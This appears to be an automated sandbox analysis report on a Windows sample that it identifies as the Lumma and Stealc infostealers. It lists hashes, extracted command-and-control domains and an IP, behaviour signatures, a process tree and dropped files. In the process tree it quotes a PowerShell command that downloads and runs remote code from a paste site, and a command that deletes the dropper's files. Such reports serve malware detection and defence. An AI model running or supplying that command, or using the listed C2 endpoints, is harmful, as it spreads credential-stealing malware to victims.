Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-10-2024 09:22

General

  • Target

    2024-10-10_32f3fc40a78d5839c065e23990a01820_poet-rat_snatch.exe

  • Size

    7.5MB

  • MD5

    32f3fc40a78d5839c065e23990a01820

  • SHA1

    16ae351043266a1923e1bcf8f68a23fde8cdd796

  • SHA256

    a0ff69955bc8a6f67e015218a5abc3e8b93d60f557901ac20a5be378150084de

  • SHA512

    4a506aeae34bd2e9ee9f7b9beb2394333e302247782d9440bce88af9b03cd4f32a6074cb1a70d26bb43ddcbc8382d98829234d619f58013e28615191b7143093

  • SSDEEP

    98304:xgt1C/hHnXjE0XimKK/f7NW5Sc5VM3Byg93wwm6lUF1:xT/hHngMfcs4VCnWwm3

Malware Config

Extracted

Family

lumma

C2

https://drawwyobstacw.sbs

https://condifendteu.sbs

https://ehticsprocw.sbs

https://vennurviot.sbs

https://resinedyw.sbs

https://enlargkiw.sbs

https://allocatinow.sbs

https://mathcucom.sbs

Extracted

Family

stealc

Botnet

mainteam

C2

http://95.182.96.50

Attributes
  • url_path

    /2aced82320799c96.php

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Stealc

    Stealc is an infostealer written in C++.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • GoLang User-Agent 8 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-10-10_32f3fc40a78d5839c065e23990a01820_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-10-10_32f3fc40a78d5839c065e23990a01820_poet-rat_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1292
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1020
    • C:\Program Files\launcher289\1.exe
      "C:\Program Files\launcher289\1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3556
      • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4808
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4284
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      2⤵
        PID:2892
      • C:\Program Files\launcher289\2.exe
        "C:\Program Files\launcher289\2.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
          "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:3416
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get name
        2⤵
          PID:4140
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get name
          2⤵
            PID:1788
          • C:\Program Files\launcher289\3.exe
            "C:\Program Files\launcher289\3.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4520
            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:448
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
                4⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1712
                • C:\Windows\SysWOW64\whoami.exe
                  "C:\Windows\system32\whoami.exe" /groups /fo csv
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:5116
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1020
          • C:\Windows\System32\Wbem\wmic.exe
            wmic cpu get name
            2⤵
              PID:5080

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Program Files\launcher289\1.exe

            Filesize

            17.6MB

            MD5

            04bb72789f6bcd0f4d11c458e7899f68

            SHA1

            c1dbdd5d7b28479161ddd8f03a60c6738192c577

            SHA256

            bb91dedd73f1eb678c1b3ebf3754c1cd625dacbeee7565a7c8648fc0f8bfac69

            SHA512

            d9865c8008cce9179d3a87a9a04222fed566464a15533a8f6037513091b96473d7ce31955c60b3413392a8c78674c9d726f5bb9579131a2ff827064a90e8184a

          • C:\Program Files\launcher289\2.exe

            Filesize

            13.1MB

            MD5

            7a71d68fd14c17c55210f369432be07e

            SHA1

            c68a576117c091a2317c41cc903daff80930b15c

            SHA256

            a67a14776f7f9fa4ccd2ce0507416ec2c2d1a343db5076ad0828377edeba56b4

            SHA512

            9b4784b05adb20fdaf1bdf52749a642da771d42ea2697427664926f39979992027629f42f33d5f1aac2eb41070bbe03c69898de073e02836aa71ea6b953cc710

          • C:\Program Files\launcher289\3.exe

            Filesize

            12.5MB

            MD5

            a0dc7564cc76113554ab0a96be832dd0

            SHA1

            24936984135732a925fa9876c75307c0a9a2b25f

            SHA256

            6b2857b2f5166a00daa2c699ee9c7c72371d8bb49eadefaaf3d81d189c1ef577

            SHA512

            00be3708f0d770cfb0bb7e2f081334b1f60146eba34551d551751997b3ba6982674b68485c6d5c88bb461fb208d9cf61c36ceea92c1b7f16d28c5a52b1dbea70

          • C:\ProgramData\mozglue.dll

            Filesize

            593KB

            MD5

            c8fd9be83bc728cc04beffafc2907fe9

            SHA1

            95ab9f701e0024cedfbd312bcfe4e726744c4f2e

            SHA256

            ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

            SHA512

            fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

          • C:\ProgramData\nss3.dll

            Filesize

            2.0MB

            MD5

            1cc453cdf74f31e4d913ff9c10acdde2

            SHA1

            6e85eae544d6e965f15fa5c39700fa7202f3aafe

            SHA256

            ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

            SHA512

            dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hwm1ovaa.20s.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/448-100-0x0000000000650000-0x0000000000673000-memory.dmp

            Filesize

            140KB

          • memory/448-105-0x0000000000650000-0x0000000000673000-memory.dmp

            Filesize

            140KB

          • memory/448-101-0x0000000000650000-0x0000000000673000-memory.dmp

            Filesize

            140KB

          • memory/1292-11-0x00007FFC18640000-0x00007FFC19101000-memory.dmp

            Filesize

            10.8MB

          • memory/1292-18-0x00007FFC18640000-0x00007FFC19101000-memory.dmp

            Filesize

            10.8MB

          • memory/1292-19-0x00007FFC18640000-0x00007FFC19101000-memory.dmp

            Filesize

            10.8MB

          • memory/1292-14-0x0000025FF8B90000-0x0000025FF8C06000-memory.dmp

            Filesize

            472KB

          • memory/1292-13-0x0000025FF8770000-0x0000025FF87B4000-memory.dmp

            Filesize

            272KB

          • memory/1292-15-0x00007FFC18640000-0x00007FFC19101000-memory.dmp

            Filesize

            10.8MB

          • memory/1292-0-0x00007FFC18643000-0x00007FFC18645000-memory.dmp

            Filesize

            8KB

          • memory/1292-10-0x0000025FF86C0000-0x0000025FF86E2000-memory.dmp

            Filesize

            136KB

          • memory/1292-12-0x00007FFC18640000-0x00007FFC19101000-memory.dmp

            Filesize

            10.8MB

          • memory/1712-123-0x00000000075B0000-0x0000000007C2A000-memory.dmp

            Filesize

            6.5MB

          • memory/1712-121-0x0000000005F70000-0x0000000005F8E000-memory.dmp

            Filesize

            120KB

          • memory/1712-232-0x00000000098E0000-0x0000000009972000-memory.dmp

            Filesize

            584KB

          • memory/1712-132-0x0000000004CB0000-0x0000000004CC2000-memory.dmp

            Filesize

            72KB

          • memory/1712-130-0x0000000009C40000-0x000000000A1E4000-memory.dmp

            Filesize

            5.6MB

          • memory/1712-106-0x0000000002640000-0x0000000002676000-memory.dmp

            Filesize

            216KB

          • memory/1712-107-0x0000000005070000-0x0000000005698000-memory.dmp

            Filesize

            6.2MB

          • memory/1712-108-0x0000000004FC0000-0x0000000004FE2000-memory.dmp

            Filesize

            136KB

          • memory/1712-109-0x0000000005890000-0x00000000058F6000-memory.dmp

            Filesize

            408KB

          • memory/1712-110-0x0000000005900000-0x0000000005966000-memory.dmp

            Filesize

            408KB

          • memory/1712-120-0x0000000005970000-0x0000000005CC4000-memory.dmp

            Filesize

            3.3MB

          • memory/1712-129-0x0000000008CD0000-0x0000000008CF2000-memory.dmp

            Filesize

            136KB

          • memory/1712-122-0x0000000006000000-0x000000000604C000-memory.dmp

            Filesize

            304KB

          • memory/1712-128-0x0000000008D30000-0x0000000008DC6000-memory.dmp

            Filesize

            600KB

          • memory/1712-124-0x0000000006470000-0x000000000648A000-memory.dmp

            Filesize

            104KB

          • memory/1712-125-0x0000000007590000-0x000000000759A000-memory.dmp

            Filesize

            40KB

          • memory/1712-126-0x0000000009160000-0x000000000968C000-memory.dmp

            Filesize

            5.2MB

          • memory/1712-127-0x0000000008E40000-0x0000000009002000-memory.dmp

            Filesize

            1.8MB

          • memory/3416-32-0x0000000061E00000-0x0000000061EF3000-memory.dmp

            Filesize

            972KB

          • memory/3416-30-0x0000000000400000-0x0000000000643000-memory.dmp

            Filesize

            2.3MB

          • memory/3416-31-0x0000000000400000-0x0000000000643000-memory.dmp

            Filesize

            2.3MB

          • memory/4808-28-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/4808-29-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB